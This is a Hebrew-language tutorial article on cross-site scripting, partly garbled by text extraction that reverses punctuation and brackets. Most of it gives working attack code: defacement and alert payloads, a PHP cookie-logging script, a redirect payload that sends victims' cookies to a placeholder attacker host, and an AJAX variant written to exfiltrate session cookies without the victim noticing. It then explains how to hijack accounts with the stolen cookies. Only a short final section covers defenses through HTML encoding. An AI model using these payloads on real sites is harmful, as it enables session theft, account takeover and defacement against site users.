 
        Cross Site Scripting
)(XSS
מאתEl3ct71k :
3102
פרקים:
.0
.3
.2
.4
.5
.6
.7
.8
.9
מבוא
עיקרון התקפת XSS
יתרונות ההתקפה
גניבת נתונים באמצעות ניצול XSS
שימוש יעיל באמצעות Ajax
פירוט פעולות של ניצול ההתקפה
מה הולך פה?
השוואה בין  XSS Storedלבין XSS Reflected
דרכי התגוננות
מומלץ לפני קריאת המאמר להכיר ב HTMLו  Javascriptבאופן בסיסי על מנת להבין את המאמר באופן
שוטף.
לכל שאלה אפשר לשלוח לי למייל ואענה בכיףEl3ct71k@Gmail.com ,
מבוא
( XSSראשי תיבות של )Cross-site scripting :היא קטגוריה של פרצות אבטחה הנמצאות
לרוב באתרי אינטרנט המאפשרים הכנסת תוכן על ידי משתמשים .ניצול של פרצות אלו
מאפשר הזרקת קוד זדוני אל אתר אינטרנט על ידי משתמש .כאשר משתמש תמים נכנס
לאתר האינטרנט הפרוץ ,מחשבו של המשתמש התמים מתייחס לקוד הזדוני כאל קוד
לגיטימי של האתר הפרוץ ,ומריץ את הקוד הזה .מכיוון שהקוד הזדוני נחשב לקוד לגיטימי
של האתר הפרוץ ,הוא יכול לקבל כל מידע הרלוונטי לאתר זה ,כגון הרשאות כניסה של
המשתמש לאתר .במקרים קיצוניים ,למשל כאשר האתר נמצא ברשימת האתרים
שהמשתמש התמים סומך עליהם ,ניתן גם לנצל את הפרצה להרצת קוד זדוני בהרשאות של
המשתמש עצמו .ראשי התיבות האמיתיים של  Cross-site scriptingהם  ,CSSאולם
מקובל כיום להשתמש בקיצור  CSSעבור שפת הסימון .Cascading Style Sheets
אם הייתי יכול לתת הגדרה אחרת ל  XSSהייתי מגדיר את זה כ"אמון שגוי בדף HTML
המיוחס כקוד לגיטימי ותקין לכל דבר"
עיקרון התקפת XSS
ההתקפה מתבססת על סקריפטים מסויימים בשפות אינטרנט( ASP, ASP.NET, JSP,
 )PHPאשר בדרך כתובת( )GETאו בשליחת טופס( )POSTמחדירה את אותו תוכן
שרשמת ,ולפעמים גם התוכן ששמרת נשלח למנהל האתר ואז בכלל יש כאן חגיגה 
אתחיל בכמה דוגמאות שיסבירו לכם בבסיסיות איך ההתקפה עובדת ,ואני מאמין שבסוף
המאמר היצירתיות שלכם תיקח אותכם רחוק.
–מנוע חיפוש:
כמו שבטח שמתם לב  -התוכן שהקשנו בעצם "נזרק" לתוך האתר בגלל שהחיפוש שחיפשתי
לא נמצא(כמובן שאין בחיפוש של גוגל  XSSאפשר להיות רגועים )
אבל אם נכנס לאתר מסויים אשר לא חסם תווים מסויימים או לא הגן על החדרת ""html
לתוך האתר ברגע שאני ירשום את הרצף הבא:
><script>alert('XSS BY El3ct71k');</script
ויעשה "חפש" התוכן שיחזור לי יראה בצורה הבאה:
בעצם הנחתי שורת קוד פשוטה ומכיוון שהאתר לא עשה חסימת תווים הקוד שרשמנו "נזרק"
לתוך האתר והמשיך את הקוד הרגיל באופן חוקי לכל דבר
יתרונות ההתקפה
ברגע שהצלחת להחדיר סקריפט לאתר הקורבן אתה תוכל להשתמש באתר שלו לצרכים
שלך ,השאלה היא לאיזה שימושים בדקת אם הפירצה קיימת 
אתה יכול להחליף לו את כל האתר לדף לבן עם מסרים משלך ( )DEFACEבעזרת
הסקריפט הבא:
><script>document.body.innerHTML='Hacked By El3ct71k'</script
והתוכן שיחזור הוא דף לבן עם ""Hacked By El3ct71k
גניבת נתונים באמצעות ניצול XSS
לרוב ,ברגע שזה אתר אשר קיימים בו משתמשים באתר אתה יכול בעזרת סקריפט פשוט "לגנוב"
עוגיות(קוקיז) ממשתמש אשר תרצה להתחבר דרכו,
ישנן  3סוגים של התקפת  XSSוהם שונים בכמה מובנים – (XSS Storedתמידי) ו XSS
(Reflectedזמני) שעל ההבדלים בינהם נדבר בהמשך
בעזרת הסקריפט הבא כל משתמש אשר יכנס לאתר הקורבן עם הקישור שתתן לו הקוקיז שלו יגיע
אליך ועל ידי פעולה זו תוכל להתחבר דרך אותו משתמש מבלי לדעת את הסיסמא שלו!
הנה לדוגמא קוד קצר שכתבתי של שמירת קוקיז:
<?php
;)'$fp = fopen('cookies.txt', 'a+
;)"fwrite($fp, $_GET['cookies']."\r\n
;)fclose($fp
>?
את הקובץ הזה אתה מעלה לשרת שהוא שלך ,ובאתר שאתה מעוניין לשאוב ממנו את כל
הקוקיז של המשתמשים שנכנסים אליואם זה  XSS Storedהרווחת)
הדרך השקופה לגנוב קוקיז הינה פשוטה ,אתה בעצם מפנה את אותו משתמש לכתובת
שאליה תפנה ואז בעצם ההתקפה מתגלה ,לא לדאוג גם לזה הכנתי לכם פתרון 
><script>window.location.href='http://www.yoursite.com/index.php?cookies='+document.cookie;</script
הסקריפט הנ"ל בעצם מפנה את כל מי שנכנס לאתר לקובץ שלך אשר שומר קוקיז ושולח לך
את הקוקיז מהאתר שהתקפת ,אבל הדרך הזו שקופה – היא בעצם בבירור מראה שכל
הקוקיז מגיע אליך וגם ככה הוא לא יוכל לגלוש באתר וזה יתגלה מאוד מהר והדרך הבאה
שאראה לכם עובדת על טכנולוגיית  AJAXהאגדית 
שימוש יעיל באמצעות Ajax
 ,AJAXראשי תיבות של  ,Asynchronous JavaScript And XMLהיא טכניקה ליצירת
יישומי דפדפן אינטראקטיביים המבוססים על קוד המורץ במסגרת דף  HTMLבודד ,ולא
כיישום מרובה דפים ,כמקובל בסביבת ה .WEBמטרתה העיקרית של הטכניקה היא שיפור
חוויית המשתמש והאצת מהירות הטעינה של דפי האינטרנט ,מאחר שהיא מאפשרת לעדכן
רק חלקים מבוקשים בדף האינטרנט ,ללא צורך לטעון את הדף כולו מחדש במחשבו של
המשתמש.
#ויקיפדיה
דרך  AJAXמתאפשרת לנו דרך להריץ את הסקריפט הזדוני שלנו בלי רענון הדף מה שאומר
שהוא לא יתגלה.
בקוד הבא אראה לכם איך זה עובד:
{ )function iCookies(url
;var xmlhttp
// code for IE7+, Firefox, Chrome, Opera, Safari
{ )if (window.XMLHttpRequest
;)(xmlhttp=new XMLHttpRequest
// code for IE6, IE5
} else
{
;)"xmlhttp=new ActiveXObject("Microsoft.XMLHTTP
}
{
)(xmlhttp.onreadystatechange=function
{ )if (xmlhttp.readyState==4 && xmlhttp.status==200
;document.getElementById(id).innerHTML=xmlhttp.responseText
}
}
;)xmlhttp.open("GET",url+document.cookie,true
;)(xmlhttp.send
}
;)"=iCookies("http://yoursite.com/index.php?cookies
בתוכן המודגש אתם מקלידים את הכתובת של הקובץ שהעלאתם שצריך לגנוב
את הקוקיז ,וככה ההתקפה בוצעה בהצלחה בלי שאף אחד מרגיש 
פירוט פעולות של ניצול ההתקפה
צד שרת
שם משתמש וסיסמא
קוקיז
קוקיז  +נתונים
סקריפט
משתמש
משתמש
נתונים
צד שרת
קוקיז  +נתונים
האקר
נתונים
מה הולך פה?
כאן רשמתי לכם את סדר הפעולות המתרחשות בעצם כשהכנסתם את הסקריפט,
המשתמש התמים נכנס לאתר ומתחבר ,ואצלו נשמר הקוקיז שמוודא שהוא מחובר ,לאחר
מכן הסקריפט "פוגע" במשתמש וגונב את הקוקיז והנתונים לתוך הקובץ ,וכאן האקר נכנס
לתמונה ,הוא לוקח את רצף הדברים שנשמרו לו בקובץ ,ועורך את הקוקיז שלו ,לוקח את
הקוקיז של הקורבן ומתחבר דרכו ,האימות את האישור של המשתמש הספציפי שהכנסת
וככה המערכת בעצם חושבת שאתה זה אותו משתמש תמים.
הבדלים בין  XSS Storedלבין XSS Reflected
ישנן שני סוגים של  XSS Stored ,XSSו XSS Reflected
:XSS Stored
כשמו כן הוא ,נשמר\מאוחסן ,זה אומר שאותו  XSSבעצם נשמר במסד נתונים והוא פעיל
תמיד – המצב הכי טוב שהאקר יכול לבקש ,ההזרקה תנוצל על כל משתמש שיכנס לאתר!
רמת סיכון :גבוהה
:XSS Reflected
 XSSזמני ,מה שאומר שרק כאשר נעשה את פעולת הניצול הוא יפעל ,במצב כזה אתה
תוכל לגנוב קוקיז רק ממשתמשים ספציפים אשר יקבלו את הקוד!
את היצירתיות לעשות את זה אשאיר לכם 
רמת סיכון :בינוני
:XSS Reflected  לביןXSS Stored טבלת הבדלים בין
XSS Reflected
זמני
פונה למשתמש ספציפי
בינוני
XSS Stored
תמידי
פונה לכל משתמשי האתר
גבוהה
אופציות
משך זמן
פעילות
רמת סיכון
דרכי התגוננות
 על המתכנת בעצם לחסום אפשרות בפעולות האתר,צורת ההגנה היא פשוטה מאוד
 במידה ויש צורך,HTML בכל מקום הניתן לשינוי והיכן שאין צורך בHTML להחדיר
 בכל צורה והצפנהscript ,</ ,< ,> :במקומות מסויימים יש לחסום את התווים
:PHP,ASP,ASP.NET,JSPלפניכם צורות חסימה בשפות
PHP:
<?php
echo(htmlspecialchars($_GET['s']));
?>
ASP / ASP.NET:
<p><%= Server.HtmlEncode(Request.Params["s"]) %></p>
JSP:
<%!
public static String encodeHTML(String s) {
StringBuffer out = new StringBuffer();
for(int i=0; i<s.length(); i++)
{
char c = s.charAt(i);
if(c > 127 || c=='"' || c=='<' || c=='>') {
out.append("&#"+(int)c+";");
}
else {
out.append(c);
}
}
return out.toString();
}
%>
<%= encodeHTML(request.getParameter("s")) %>
				
											        © Copyright 2025